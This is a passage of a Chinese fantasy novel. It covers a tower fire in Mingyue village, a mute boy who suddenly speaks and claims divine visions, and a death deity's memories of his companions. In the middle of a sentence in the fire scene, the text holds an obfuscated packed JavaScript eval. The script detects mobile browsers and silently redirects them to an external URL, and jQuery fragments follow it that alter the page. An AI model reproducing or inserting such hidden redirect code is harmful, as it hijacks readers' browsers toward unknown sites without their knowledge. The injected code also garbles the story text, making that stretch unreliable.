又一声,近前的一些人才反应过来嚷嚷着开始救火。小白菜已经不见了,金铃儿和银铃儿也不在原来的地方,明月庄所有人关注的方向都在登临塔的突发大火上。 “哗!”第一桶水泼了上来,好像泼进一个无底洞似的无济于事,紧接着哗啦哗啦的水都跟着泼了进来,他们也和第一桶一样迅速没了声息。火焰像只猴子那样顺杆爬到了顶端,在吉祥天师脑袋上耀武扬威。 砰——啪! 塔顶响起巨大的爆裂的声音,有些孩子尖叫着跑远了。 红布盖起的棚棚里瞬间只剩下我一个人,蒸笼的热气顺着风从后边将我包裹,在仓皇跑动的人群缝隙里,我看到小白菜坐在地上张着嘴,看着台上吉祥天师塑像的硕大阴影迅速爬上他的身躯,周围有谁在喊他好像也完全听不见了。他风光无限的母亲万金花被一帮人手忙脚乱地拉到了一边,头上的抹额早就不知飞到了哪里去,她花着一张脸四处寻找她的孩子。而他的父亲李得彩却到处不见踪影。 “他再不跑今天得开两场席。”我想我是这世上最讨厌工作繁忙的人。 吉祥天师那一副慈善的眉目在火光当中逐渐向小白菜逼近,周围的人好像喊得更加大声了,还有几个在远处挥舞手臂,他们在念叨什么,小白菜不知道,他还这么杵在地上等待天师塑像将他砸去我这里报道。 但在这之前,他的大姐金铃儿正好泼完了一桶水,刚从河边舀上一满桶水出来,她远远地见到自己那个傻弟弟还呆在原地不动弹,就一把甩开手上提着的水桶,“哗啦——”一下把银铃儿脚前的地面都浇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063016|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿了。 “呀!”水溅到银铃儿的鞋面上,这姑娘才回过神来,只见和自己同天出生的金铃儿摇晃着她的大麻花辫往天师登临塔的方向冲过去了,塔上的火焰蹿得有多快,金铃儿跑得就有多快,好像时间都因为她静止了。她跑得虎虎生风,带起脚边的尘土和蛾子翅膀碎片,在身后搅出一场小小的风暴。 天师塑像就要跌进小白菜的怀里了,此时金铃儿的一只脚也踏进塑像投射下的阴影当中,金铃儿在转瞬间从后面抓住小白菜身上白汗衫的领子,像刚才甩开水桶一样将傻弟弟甩出阴影。 “轰——”天师的脸终究还是摔到地上成了好几块,小白菜却并没有来我这里报到。他摔倒在地上,眼睛被尘土迷住了,大姐金铃儿的声音就钻到他的耳朵里,“傻子!你差点没了命!” 小白菜的脸色就和白菜帮子一样惨白,一动不动地呆坐在地上,万金花从远处哭喊着跑过来,一边跑一边大喊着:“我的儿啊!” 神婆子现在蓬头垢面,顾不得什么脸面不脸面的,冲过去就一把抱住了小白菜大哭起来,“哎呀我的儿啊!哎呀!”受惊的人群稍稍安静下来,也逐渐向着这对母子靠近,只有小毛蛋的爹妈怔怔地站着不动,仍然守着他们面目全非的儿子。 银铃儿挤开大人们把金铃儿拽走,“姐,你吓死我了。” “不然咋办嘛?” “我们走,我们走。” “上哪儿去?” “离远些,这儿呛死了。” 银铃儿说的没错,随着天师塑像的倒塌,登临塔这儿的火确实灭了大半,但还有余烟未尽,迷得人眼睛疼。人们在烟雾中不断靠拢,那抱在一起的两个核心人物终于有了些别的动静。 万金花哭天抢地,整个广场上都是她的声音。她不断哭喊着小白菜的名字,叫魂似的想要把他叫醒。这时候,她的怀中有了响动: “妈妈。” “妈妈。” “我的好妈妈,你把我抱疼了,放松些吧。” 这是谁的声音? 万金花在明月庄里住了几十年,从没听过这个声音,但这声音又这样近,就在自己的耳朵边。 “我的好妈妈,你没有听出来这是我的声音吗?我是你的儿子小白菜呀,嘿嘿……” 他一笑,万金花就听出来了,是小白菜呀。可这真的是小白菜吗?她的儿子明明是个不会说话的痴呆儿,怎么能说出这样流利的话来呢?刚才自己的确蘸了小毛蛋的血涂在小白菜的脸上,以祈求吉祥天师让他早日开蒙,难道就这么实现了吗? 万金花没有别的想法了,一定是这样的,吉祥天师听到了,他听到了,小白菜会说话就是最好的证明。她立马松开了怀抱小白菜的双手,捧着孩子的脸左看右看,小白菜的嘴唇就在她面前动了起来,“妈妈,是我在说话,你没有听错。” “啊呀!”她整个人跳开五步远的距离,这下人群的中心完全成了小白菜,那些和万金花一起听见小白菜开口说话的人们无一例外地捂着嘴。 他站起来伸了个懒腰,扭动自己咯吱作响的脖颈,然后用无比流畅的语言对人群说道:“各位乡亲,各位兄弟姐妹,我如今能开口说话可不是什么需要惊讶的事,更没有预兆着什么,你们不用惊慌,不用着急,个中缘由,我自然会与你们细细道来。”他忽然指着一块仍在升起烟雾的地方,“赶紧把那里的隐火灭了吧,等这里的烟散去些,我也就能把你们想知道的事儿全都说来了。” 几个男人立马抬了水扑灭了那一处的火苗,众人见小白菜摇头晃脑向着天师登临塔走去,他两腿一蹬就在底层的台阶处盘腿坐下,居高临下地看着迷茫的人群。 “他怎么回事儿啊?”金铃儿远远地问道。 “我晓得正常人能吓傻,怎么傻子还能吓得会说话?”银铃儿在一旁同样发出疑问。 这时候台上的孩子开口说道:“各位,我知道你们心中充满了疑惑,其实我自己也不能解释得明白,但天师布恩于我是证据确凿的事,解释不明白就对了!” 我听着小白菜继续摇头晃脑地将那转瞬间的事娓娓道来: “方才天师登临塔轰然倒塌的时候,我的确以为自己要死了。你们看,就在你们脚边,我的好父亲制作的吉祥天师塑像在一片火海中向我倒下来,他的眉目如此慈祥,我都忘了要跑,而只想着:要是天师摔坏了可就不好了。” “可是忽然我的眼前一片金光大作,我的妈妈,登临塔,你们,还有明月庄,全都不见了!我“刷”地离开了地面高高飞起,原来竟是天师将我抱在手中,你们一个两个的模样我全部都看得一清二楚呢!你们猜猜我见到了谁啊?” 人群中一个声音喊道:“是天师吗?!” 小白菜摇摇头,“不全是,不全是!不过天师他最先在我面前现出了身形!他在一片金光当中缓缓现身!你们知道吉祥天师长什么样吗?他目有重瞳,两眉如剑,右眼下两点痣,低眉处似有泪流。皓齿薄唇,声慈若水,脖颈上一串珠,辩言时如沐春风。头顶上清如意冠,身着云纹赤色袍,两臂有披帛无风自动,腰际束玉带隐隐有光。内里衣衫绣的是松鹤伴月延寿图,腰间玉带坠的是福禄双生金禁步。再观之,抬手拈指后有钟磬声动,吐息移步时便流岚渐起,恍惚间,四下天地皆金光笼罩,八方目极是烟霞缭绕!” 众人早已听得出神,有个聪明点儿的喊道:“只有万婆子见过天师的尊容!万婆子!是不是这样啊!” 万金花瘫坐在地上好像没有听见那人的话,小白菜也不理他继续说下去:“这还没完呢,吉祥天师在我面前显出真容之后便呼喊我的名字:小白菜。我连忙应下,此时天师身后又显现一人,他亦呼唤我的名字,声若洪钟,势如布令,两袖暗织伏虎啸日,金龙衔月,一身金绣无数名姓,时隐时现。面有朗月之姿,眉如远山之貌,凤眼两角拖出丹红长尾,玄袍之下缀满金银锁钥。一举一动有环佩声响,我定眼一瞧,那人发带上,衣袍上,皆是闪烁众人名姓,非是金绣,而是凭空附在其上,明明灭灭,观之眼花缭乱。发带之外另系一串各式钥匙,与腰间数条类似,所谓环佩声响,实为身上百千片钥匙随行动碰撞所发出。我见他将手一挥,便有一卷文书展开将我重重包围!” 小白菜站了起来,装模作样地在残破的高台上踱步,“天师说:小白菜,你我也算有缘,日后就要多多拜托你了。我见那卷文书上密密麻麻写着我的名字,还尚未看清具体的细节,天师身后那人就收回了文书。吉祥天师又说:小白菜,你回头看看。” “我连忙回身望去,就见一夫人簪花饰玉,言笑晏晏款款走来。脚下步步生莲,身后飘飘绢带,肤如羊脂白玉,发若东海乌木。两弯柳叶眉,一双桃花眼,顾盼神飞,额间有花钿,耳上坠金环,粉面含春。右臂着一只绛红玛瑙镯,两肩披一条品月云纱帛。梳一个反绾髻,有衔珠累丝五凤钗,簪早春山南牡丹花,另有脖颈上点翠盘螭璎珞圈,中间嵌一颗浑圆青玉珠。” “她到近前,臂弯里元宝篮装了数十花卉,我一见她模样便知此乃保胎仙娘娘是也。如此看来,天师身后那个看不清样貌的,便是执掌我们明月庄身后事的燃灯星君了!这是三仙汇首,三仙汇首啊!” 此话一出更让围观的众人喧闹起来,他们等不及要听接下来的事,“小白菜,然后呢?” “然后啊,这登临塔上的黑烟就冒起来了。就在你们四散逃窜的时候,天师可是为我指了一条明路!”小白菜推开身边人,指向了还在冒黑烟的登临塔废墟,“当时啊,天师就是这样指着他威严的神像告诉我,小白菜,你要好好看着。” “说罢,他的手掌就遮住了我的双眼,在一片漆黑中我听见你们的吵闹,还有脚步杂乱,以及你们大大小小,老老少少的心声,嘿嘿嘿……最重要的是我听见了杂草干枝燃烧的噼啪声,可是这地方哪儿来的噼啪声呢。我正这么想着,砰!嘿嘿嘿嘿嘿……那爆裂声你们都听见了。天师想要我看什么呢?我想来想去,他只能是想要我看到真相!看到谁烧毁了登临塔的真相啊!” 李春生说他是个说书的好苗子,一开始我还不信,听他说了这一套下来也不得不信。小白菜这一通说辞下来明月庄没人不信他亲眼见到了三仙聚首,是吉祥天师钦点的有缘人,这也不假,李春生的确是这样说的。他的母亲万金花始终坐在塔前的空地上,微张着嘴听完了来龙去脉。 “各位!”小白菜在台阶上站起身,“你们也都听见了,也都看见了。现在,我,小白菜,以吉祥天师亲认的有缘人之名,势必要找出今日火烧天师登临塔,打断了十年一度共生仪式的罪人!血债血偿!” 人群沉默半晌,旋即纷纷对着小白菜俯首称是,“找出来!找出来!让他给天师赔罪!赔罪!” 啪嗒。 李得彩站在自家门口,听见了广场上发生的一切,手中吃了半个的柿子掉到地上,弄脏了他的鞋。 9. 好日子 天师登临塔轰然倒塌的那天晚上,李春生的口中再次吐出鲜血,他靠在慧慧的耳边小声地说道:“我想回家。” 李春生说的家不是他平日里居住的教师宿舍,而是明月庄某个角落里一处曾属于一个哑巴奶奶的老屋。庄子里没人知道哑巴奶奶的真实姓名,连她自己也忘记了。唯一能够确定的事实是,哑巴奶奶在自己的少年时代就居住在这里,在充满了不幸的战乱年代坐着牛车去给城里老爷做丫鬟。牛车刚进城门不久,天上嗡嗡作响的轰炸机就投下炮弹,把主人家的老爷夫人的身体炸得七零八落,拉牛车的跑了,哑巴奶奶也只能跑,她拼了命地跑回家,两只赤脚皮开肉绽,可等她跑回了家,家里也没有一个人了。 哑巴奶奶从此就没有踏出明月庄一步,她用门前的一小块菜地与人交换一些粮食。某一个立春日她在家门口捡到了尚在襁褓中熟睡的李春生。我常说哑巴奶奶是个无比坚强的人,她的身上没有一点那个年代带来的苦难感,相反,她会在每一个天气晴朗的日子里脱下鞋子坐在门口尽可能地舒展自己的脚趾,也是在脚掌的温暖中哑巴奶奶迎来寿终正寝。 哑巴奶奶在河边安静地等待我的到来,看到我的身影,还笑着给我理了理袖子。她的腿脚不灵便,是年轻的时候就落下的病根,攒了些钱也舍不得去治,自己一声不吭地熬了好多年。李春生都知道,所以从他能够走路的时候起,哑巴奶奶就再也没觉得腿疼,只有走路时依旧显得僵硬。 我领着哑巴奶奶去门前的路途异常安静,她不会说,我不想说,彼此之间都保持着默契的安静。我在册子上写下她一生的功过,宣布她将收获一个美满的来生。而她始终保持着那副熟悉的笑脸,没有因为这个好消息而露出更多的牙齿。 我对她说:“您可以走了,把钥匙给我就行。” 在转身之前,哑巴奶奶又整理了一下我右手的袖子,我才发现它在来的路上袖口折进去了一点。 那一年李春生二十二岁,他独自操办完哑巴奶奶的葬礼之后就来到中学的宿舍里住下,只带走了哑巴奶奶的一件遗物:一本《新华字典》。 我们带他回到了那个破败的老屋歇下,这里听不见清溪河的潺潺水声,他也很快就沉沉睡去了。一整夜我与慧慧相顾无言坐在屋子里仅有的两把椅子上,慧慧说:“时间过得真快,要还只是咱们刚认识的时候就好了。你是不是都忘了咱们是什么时候认识的了?” “我一辈子都会记得认识你们俩的时候。”那是我活到现在为数不多的好日子。 我认识慧慧的时间比李春生早一些。公元696年,我坐在一处修了飞檐翘角的亭子顶上,百无聊赖地听旁边那个说书人讲他的故事。那时候正是腊月,天寒地冻的,不少人已经在筹备过年的事情。那说书的独身一人生活,为了多赚几个钱没有哪天停下来过。 他的故事已经背得滚瓜烂熟,来听的大多是小孩子。说书的大手一挥,就又开始讲起这个耳熟能详的故事: 说此地曾有一个十里八乡有名的悍妇,人称文三娘。这文三娘早年间丧夫,只与一个遗腹子,名叫文佩之的相依为命。他们虽然是孤儿寡母,但文三娘性情实在彪悍,也无人敢惹他们分毫。 文佩之倒是个难得一见的好二郎,不仅对文三娘孝顺有加,看学识也是落笔成章,单论相貌更是柳眉星目,一表人才。见过文佩之的人都说,这文三娘以后是享福的命。 不过也有些闲言碎语,因这文佩之平日里开口不多,惜字如金,除了日常生活必须,也少与外人打交道。这就免不了有些人背地里要编排些话来嚼舌根。好在文三娘从来不是好欺负的主儿,谁要是说这些闲话让她听见了,脑袋上必定要挨上一棍子! 文三娘可说了:你们没本事,光长了一条长舌头,看人过得比自个儿好,于是就上下牙一搭编故事!刚好我是个喜欢听故事的,谁有种就都来咱们家门口开个故事会!好好比拼比拼谁说得更好! 列位看官,我是没法表现出文三娘十分之一的气魄,各位只要记住,她此话一出,原本想闹事的也都成了缩头乌龟跑了。 就这么过了好些年,这一日,文佩之带上行囊便要进京赶考。文三娘大摆了几桌宴席,邀请同村的人都来作饯行的宾客,给文佩之讨一个好彩头。她虽然彪悍不好惹,但热心真性情也是人人都看在眼里的。文佩之也就在乡亲们的欢送下去往了京城。 过了一月有余,有快马加鞭的消息传来:文佩之一举夺魁,高中状元!此话一出所有认识文三娘和文佩之母子的人全都涌动起来,纷纷去向文三娘贺喜。谁料这文三娘一反常态,闭门不出,谢绝访客。众人还当是她病了,或是有了什么别的事才不愿见人,可文三娘却说:“我只等佩之回家来,才与你们见面!” 这文三娘可真沉得住气,竟真的终日闭门不出,直到文佩之骑着高头大马,意气风发地还乡来,才妆扮一番器宇轩昂地走出了家门。 各位猜猜接下来发生了何事?你们必定是说,这文三娘与文佩之母子相逢,哭笑一通,饮酒吃菜庆祝了一番。 非也!非也!只见这文佩之翻身下马,与文三娘相拥笑谈道:“好娘亲,你我总算是等到了今日!”众人并未察觉此话有何异样,而只见文三娘家中多了一套有着瑞鹤牡丹纹样的衣裙。等到文佩之进了屋换衣完毕,众人再一看!呀!那套新衣裙就穿在了文佩之的身上,这位春风得意的状元郎换了衣裳改了发髻,竟是个粉面含春的妙龄女子! 众人皆大惊,而文三娘却手牵毛驴大笑道:“我与我这好姑娘,竟真的将你们瞒住了十几年!” 原来文佩之本名文慧,如假包换的女儿身,这母女俩再无别的依靠,却是心有灵犀,丝毫不甘愿居于一隅,而是铁了心要让女儿家也在外闯出个名头来。 文三娘道:“你们只当我是唯利是图的小人,费尽心机就为了挣个家喻户晓的名声,但今时今日所有听见文慧名字的人都要晓得,她就是普天之下独一无二的女状元!” 说书的故事讲到这里,天上就纷纷地落下了雪。他的听众们叫好连连,催着他快些讲下去。只是这日的雪格外大,一眨眼的功夫就把人肩膀沾湿了。那说书的没法,便匆匆一拍木,“预知后事如何,且听下回分解!”收了摊子去躲雪。 天气不好的时候,人就散得很快,有些意犹未尽的孩子也都被大人来抱走了,人们四面八方来分走了所有的热闹。 “你怎么还不走?”一个女声从我的头顶传来,她站在我背后,从侧边探出头来。 她便是慧慧。 我告诉她:“故事没听完呢。” “可是雪把你的衣服都打湿了。” “衣服会干的。” 她就在我的身边坐下来,也扮演起说书人的角色: 你要说这女状元的名声给文三娘和文慧带来了什么好处,实在也说不上。虽说朝廷知晓了此事,要给她个女官来做,文慧却请辞了。她说:“我并不为了做女官而要搏这个状元,我只为证明我不必任何人差。现在我的心愿已了,就该去济世救人。” 文慧拉着文三娘翻身上了毛驴车,母女俩有说有笑远离了家乡。此后数年,再听到文慧的消息,就是她遍行山川,云游四海,成了一个医仙似的人物。她从女状元到了女郎中,为人抓药开方,治病救难,更是专精小儿与妇女疾病,多年间文慧手上起死回生的不在少数。 更值得称道的是,她不仅医身,更会医心。与文三娘母女二人,笑谈间解千愁,妙语中释心忧。每到一处,就是没有疾病的,也愿意与她们攀谈一番,亦有豁然开朗之感。 她停了下来,我问:“讲完了?” “再然后嘛,就是文慧寿终正寝,有上山的猎户发现她,送回山下,人们便将她奉为文慧菩萨。” 对人本质的感知告诉我,她正是文慧菩萨本尊。 “你的样子倒是年轻,不像寿终正寝的模样。” “那你可说错了。”她纠正我的错误,“我并不是文慧本人,她早已投胎转世去了。我与她的本质相同,因为我是文慧与文三娘理念的化身。肉身世代轮回,理念却在转世的时候脱离出来,塑成了我的模样。我是她们毕生经验的产物。” “理念,也就是说,你不必依附于任何具体的东西而存在。倒是挺自由。” “嗯?难道你不自由吗?”她这么问,我不知道该怎么答。自由的定义在每个人身上都各不相同。在我看来,易腐的肉身和人造的偶像都不是慧慧在人间的立足点,而是一种代表性的精神原则,它可能在任何地方出现,因此她比我更自由。而她所说的,则基于个人的行动意志,每个人都或多或少地拥有一些。可惜有些是义务,不能拒绝。 慧慧走过来捏我的脸,“你怎么一整天都愁眉苦脸的,快过年了还这样,不好。”她不知道从什么地方掏出两块糯米糕来,分了我一块,“你吃这个吧,甜的。” 见我顺从地接下了,她也没有继续与我一道淋雪,而是甩甩脑袋上的雪片,叼着糕点就跳下亭子,变换了个模样隐入远处的人群与灯火中去了。 那种糕点我本觉得太甜,但在那日的雪中,糯米糕和着雪片一同送进嘴里,却让我感到了难得的清爽。 而我第一次见到李春生,是在明月庄东北边一处叫做山羊坡的地方。 明月庄的地势平坦,并没有可以真正被称为山的地方,山羊坡也只是一个略微隆起的小土丘,是土地上不起眼的一块小疙瘩。它甚至没有一棵像样的树可以供人倚靠,只有数不清的杂草,年年春风吹又生。 山羊坡凸出地面的高度恰到好处,可以在上面俯瞰明月庄大部分的面貌。过去的两千多年里我最常做的事,就是在每一个阳光明媚的下午躺在山羊坡最平坦的一处睡觉。鸟雀的叫声和不时路过的行人谈话声相当催眠,总是令我暂时从无休无止的死亡当中解脱出来,那时候我还没有注意到清溪河拍打堤岸的声音是如此富有韵律。 几个小孩到河岸边回收他们清晨抛下的虾蟹篓,那篓里没有他们想要的河蟹,倒是钻进了几条泥鳅,小一点的几个捧着篓去向大人们炫耀自己的赫赫战果,留下大一点的几个钻进菜地里面捉蚂蚱。 我从天上浮云露出的缝隙中听到这些孩子的吵闹声后睁开了眼睛,这种时候眼前的景象是模糊而不清晰的,河边的房屋都和风中的垂柳一样摇晃,而在这一片摇晃的景象中,我看到一个陌生的身影坐在距离河岸最近的一户人家房顶上。 等到摇晃的景象停下来,那群捉蚂蚱的孩子首战告捷,他们回到了河边的空地上开始踩水,两个水性好的已经脱了衣服跳进河里去游泳。我从山羊坡上坐起来的时候,睡意仍在我身上留着浅浅的痕迹,所以当那个屋顶上的身影看过来的时候,我打了一个不合时宜的哈欠。 他沿着山羊坡上人们踩出的小径向我走来,明月庄的四面八方就由远及近地响起悦耳的钟罄之声,他踏上这个小土丘的时候一个安全意识匮乏的孩子滑了半个身子到河里,他朝着那边揽了揽手就召来一阵风把孩子推上了岸。 我想任何人看到他的脸,都会先注意到那双眼睛,那是一对重瞳,他的眉型也利落,修饰得五官非常和谐。奇怪的是,我没有从这样一张脸上感到任何肃穆的气质,连英气也谈不太上,我想到了鹿,想到了羊,还想到了清溪河的水流。 “我知道你。”他在我身旁坐下,带来一阵熟栗子的香气,“他们叫你燃灯星君。” 我并不擅长与人搭话,即便我很早以前也已经听说了吉祥天师的名讳,也仍然对之后的谈话要如何展开而感到茫然无措。 好在他自己将话题进行下去了,“可我没有在这里见到你的神龛和庙宇。” “谁给黑白无常上香啊?” 他先是愣了一下,而后又笑着问我:“那你的灵存放在何处呢?” “我是没有灵的,我自己就是全部。”我说道。 李春生口中的灵基于他自己的认知 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后来大概是出了事,我看到我认识的那些人连夜奔逃,有两个拿着长矛的士兵把我带走,那场景与明月庄人呈上贡品时如此相似。 我哪里见过这样宏大的场景,后来才知道那些高高架着的是鼓,那些穿着漂亮衣服戴着漂亮首饰的人是贵族。 我仰面躺在一个石制的,描有彩绘的台子上,火焰的温度炙烤着我的脸,汗从我的额头流到地上,又被火的温度快速烤干,我看到一个头上戴冠的男人在脸上涂抹牛血。 我便知道了那是祭祀。我是他们精心挑选的祭品,那天是祭祀的好日子。 我应当好好躺着,等待祭司用一把精致的骨刀剖开我的胸腔,可是我想到了会从自己胸口喷涌而出的鲜血,想到了就这样死去的自己的尸体,好可怕,为什么是我?恐惧的情绪像一队蚂蚁爬满我的全身,我还不想就这么死去,换谁都不想的吧,我的五官和肌肉都控制不住地颤抖着,一个念头从我的脑海中浮现:逃吧。我太害怕了,于是我从台子上挣脱翻身想要逃离。 这是出人意料的举动,祭祀用的东西怎么能遵从自由意志而逃跑呢?我听到周围人发出骚乱,当然我也没有逃走多远,几个举长矛的士兵又将我抓回到台子上,这次他们学乖了,用上了草绳来捆绑我的手脚。 祭司的长刀就在我的头顶晃来晃去,他们口中的神灵我从没见过,可是如今我就要为了神灵而死,我觉得可笑。可是我能够祈求谁呢?谁也不会听我说话的,活着的时候就是这样,等我死了更是这样。于是我就这么看着头顶的长刀直直落下。 不、不、不! 不疼,也没有任何其他的感觉,我以为我当时就已经死了。也可以这么说吧,从我胸腔中迸出的鲜血溅到了祭司的身上,他的手中抓着我尚且跳动的心脏,我赤身裸体躺在那个石制的台子上,边缘不断滴下鲜血,我像一条被破肚的鱼,在台子上抽搐翻滚。 我目睹了这一切,就在死去的我自己身边。 我的身上穿着一件长袍,是我这辈子都没见过的好布料。周围的人似乎看不见我,祭祀的仪式继续进行着。 於,就是那件袍子上出现的第一个名字。而我自己,也从未踏入死地之门。从那以后,我只叫燃灯星君。 “就是这样。你非要说的话,这副皮囊就是灵的容器。” 李春生没有多说什么,而我却在这次叙述之后感到了巨大的落差。除了出生的年代久远,我的存在好像是侥幸捡了命运的漏,没有造福一方的功绩,有了神仙的名头之后也没法回应任何人的愿望,只能日复一日地在弥死界做一个引渡灵魂的看门人。于是我将燃灯星君的身份看作是惩罚,永生终于消解了我对死亡的恐惧,也磨灭了我对俗世幸福的感知,我变得迟钝而冷漠,并在心底隐隐萌发了对死后世界的好奇。可惜我从来都是胆小而怯懦的,我知道我永远也不会打开那扇属于自己的门。 我所处的时空是一潭死水,李春生改变了它。 当时他坐在我身旁的空地上安静地注视着水边嬉闹的孩童,我问他在想什么,他说:“我在这段历史中感受自己的渺小。” 多年以后当李春生决定成为一名历史教师的时候,我才重新想起这句话。他在我讲的故事里确认了自己的存在:浩瀚天地间的沧海一粟。 而他的使命则是以这小米粒般微薄的力量,带领明月庄的人们走出蒙昧,到更广阔的天地中去。 显而易见的是,让一个神仙承担这样的职责是悖论。 当我听到李春生决定赴死时是惊讶的,惊讶于他敢于否定自己的身份,从既定的规则中毅然叛逃。而我,却从来都是规则的提线木偶。 过去我认为他太过仁慈,始终相信所有事都有转圜的余地,现在看来我错了,他决绝得像一柄削铁如泥的利剑。 而当时我仍然缺乏足够的共情能力,只是简单地回了句:“嗯。” 我为我的迟钝感到羞愧,可就算竭尽世上所有自然与超自然的力量,也无法改变时间的一维性,我和李春生都只是被它推着走到了现在。 我迷迷糊糊地想起李春生决定去死的那个遥远的下午—— 他坐在山羊坡的草地上,夕阳将他的脸晒得微微发红,我看着他用两根草秆编织一个花环的模样,产生了一个奇怪的想法:他既和一个四五岁的孩童一样认真,也和善得像一个母亲。 这比喻也许不太恰当,却也是我当时最真实的想法。 他忽然抬头看着我,我将他右眼下方排列整齐的两颗痣错看成了眼泪,他察觉到了我一瞬间的疑惑,“你看错了,这是痣,不是眼泪。” 我没有回应他,山羊坡下人们往来寒暄的声音就是我们之间的一堵矮墙。 “风把你的头发吹乱了。”他说。 在那个黄昏我不动声色地离开他的身边,心里却知道自己是一个狼狈的逃兵。山羊坡在身后渐行渐远的时候,我听见了矮墙摇摇欲坠的声响。 10. 答案 登临塔上发生的事让李有福受到了十足的惊吓,他将家里的大门紧闭并嘱咐孩子们不能出门。可他自己却在落日昏黄的下午掩出家门来找我。为的只是要把一坛咸菜、一兜鸡蛋和一块新鲜的猪后腿肉交给我。 “你不在家住,不方便,这些好。”他就是这样一个时常保有这样笨拙善心的人,使拒绝他的好意也会成为伤人的举动。我看得出来那个坛子是家里的东西,菜和鸡蛋经由李有福宽厚粗糙的手掌和那几只圆滚滚的老母鸡得来,至于色泽透亮纹理清晰的后腿肉当然是他这屠宰户的小小权力。 这些东西很快就派上了用场。李春生这几日都回老屋休息,他看着灰墙上斑驳的裂纹告诉我想吃碗面条,慧慧提着一个酒坛子进来也要道:“厨子!给我也来一份!” “我早给你备着呢。” 慧慧手里的坛子远比腌菜坛子小巧,面上还是青花的,坛口用红布包好,我猜是一坛酒。 “春风冽,我早前托镇上酒铺子的老徐弄来的,尝尝呗。”我们之间的氛围谈不上欢快,但是面对美酒还继续愁眉苦脸也是罪过,我揭开坛口的红布就闻到了酒香,也知道这坛酒李春生喝不了,只有梅上雪那样温吞吞的可以,倒便宜了我和慧慧。 “为什么他有鸡蛋,我的呢?”慧慧认为我端上的两碗面条有所不公而表达她的不满。 “你有两个,埋在底下。” 飞速确认了这一事实后慧慧将她和李春生的面碗对调,“那我只要一个。” “随你们。” 李春生久违地笑了,夕阳的光穿过老屋苟延残喘的门扉,将他的身形勾勒出一个金黄的轮廓,慧慧伸手掐灭了我手里的烟屁股,“少抽点儿吧你。以后我们面前你不许掏出烟来。” 我没有拒绝她的理由,“知道了。”我们谈话的时候,李春生大多就这样默默地听着,回到了老屋里他就显得更加安静,他抚摸着小方桌上的裂纹说道:“今天老校长问我小白菜是怎么回事。” “你怎么说的?”慧慧问。 “我说,大概是迟语症吧。” “明月庄是没有疾病的。”慧慧端详着手中的酒杯说道。 在这里,一切身体和心理上的不适和反常都是吉凶征兆的具现化,这是一个模具,任何人放进去都挤成一个样子,变成天师登临塔上的一块砖。 “所以我这个医生嘛,也就在中学里给小孩开点儿感冒药,打打绷带。”在明月庄里,“医生”能做的少之又少,慧慧总觉得可惜。 “医身易,医心难,辛苦了。” “我?辛苦的是你吧,李春生。我说话不好听,但要是早知道事情会发展成这样,你还不如不要诞生。” 时间的流逝好像晚夜的鸣钟,我们在整点的钟鸣声中看清了自己的位置,慧慧走得最快,她发出的声音也最直接地敲打人心,李春生是分针,周而复始地履行着自己的责任,以确保钟声能如期响起,而我是那根缓慢的时针,记录下明月庄的每个时代。 “可是世上没有早知道。”李春生说,“我只能尽力弥补这个过错。” “你没有错,李春生,你只是不懂人心。”她饮下了杯中的酒,告诉我们“不懂”是每个人都会经历的状态,任何人都是从懵懂无知成长起来的,即使是神仙也一样,“人的开蒙是为了明事理,知对错。我们,则是要理解自身。我要理解生命,燃灯星君要理解死亡,吉祥天师,你要理解人。” 从慧慧的理论来说,我们三个如今都还处在尚未开蒙的阶段。我们都各自有着需要回答的终极问题。这反倒让李春生感到了一丝轻松,他拿起酒坛子给自己斟了半杯来敬我们,“二位,共勉。” “这个酒你可能喝不了。”我按住了他嘴边的酒杯。 “就一口。” 这一小口也让他皱紧了眉头,这顿晚餐李春生没有吃完就披上衣服往小白菜家的方向去了。 “我得去看看金铃儿和银铃儿。”他扔下这么一句话。 这几日小白菜的家里张灯结彩,灯火通明。明月庄的人从四面八方赶来恭喜李得彩,他先是有一个能听天师圣言的神婆子万金花,又有个三仙聚首为其开蒙的好儿子小白菜,这几千年都轮不上一遭的好福气让李得彩一家子占了去。 当天离得远或是不在现场的人把小白菜的房间堵了个水泄不通,纷纷要看看他有了这次神奇的开蒙经历之后变成了什么样。他们七嘴八舌得不出一个统一的结论,但可以肯定的是,直到六岁都不会开口说话的小白菜,一瞬之间就能妙语连珠活像一个说书先生,这是绝对的神迹。 “白菜,白菜,你能不能把天师的样貌再说一遍啊!” “白菜,白菜,天师还跟你说什么了?” “白菜,白菜,我就知道你以前能与天师通灵的事儿是真的,你看,应验了不是?” 小白菜宛如一尊金身佛像般盘腿端坐在床上,以往这个位置属于他的母亲万金花,他的脸上露出微笑,与寺庙里的菩萨还有几分相似。他婉言谢绝了众人提议的要在吉祥天师塑像脚下加上一座他的小雕像的事,并开口念出了一段话:“我不为金银不进庙,天师恩典心中藏,诸位敬神期盼高,万般还得从头道。” 当众人还在窃窃私语探讨着小白菜这番话是什么意思的时候,万金花及时跳出来:“我说你们都是毛手毛脚没有轻重缓急的,你们谁的愿望都不要紧,要紧的是哪个反了天的放火烧塔!” 房间里传出惊呼声,有几个就吓得扶住了墙,“诶呀,天师慧眼,可不是我呀。” “谁他妈的说是你了,就吓成这样,哪天公鸡打个鸣都能把你吓断气了是不是?”万金花手脚并用赶鸡似的将这几个胆小的送了出去,她知道这几个没用,给几个胆子也是既不敢放火,也不敢指认的,站在这里反倒心烦意乱。 “烧塔实在是大罪,祖宗之法不可废,各位,各位,我有思绪万万千,请退。” “让你们出去,都出去,这下听得懂了吧!该干嘛干嘛去!滚滚滚,围在这儿一股怪味儿。”万金花掩着鼻子把这帮人轰出房门,连一个眼神也没有留下,李得彩对着人群丢出他吃剩下的半个柿子,就逗狗似的将人群送了出去。 这时候一个男人从桌子底下爬出来,径直爬到小白菜坐着的床前,“婆子,他们都走了,可以商量我的事儿了?” 万金花根本没看他,“你?李池,你多大的脸啊?” “婆子,白菜,祭神之前我就在这里拜过你了,你们记得吧?” 小白菜看着脚边的这个男人道:“记得呀,当然记得,在我蒙受神恩开蒙之前,你是最后一个称呼我为仙童的人。李池,我当然记得。” 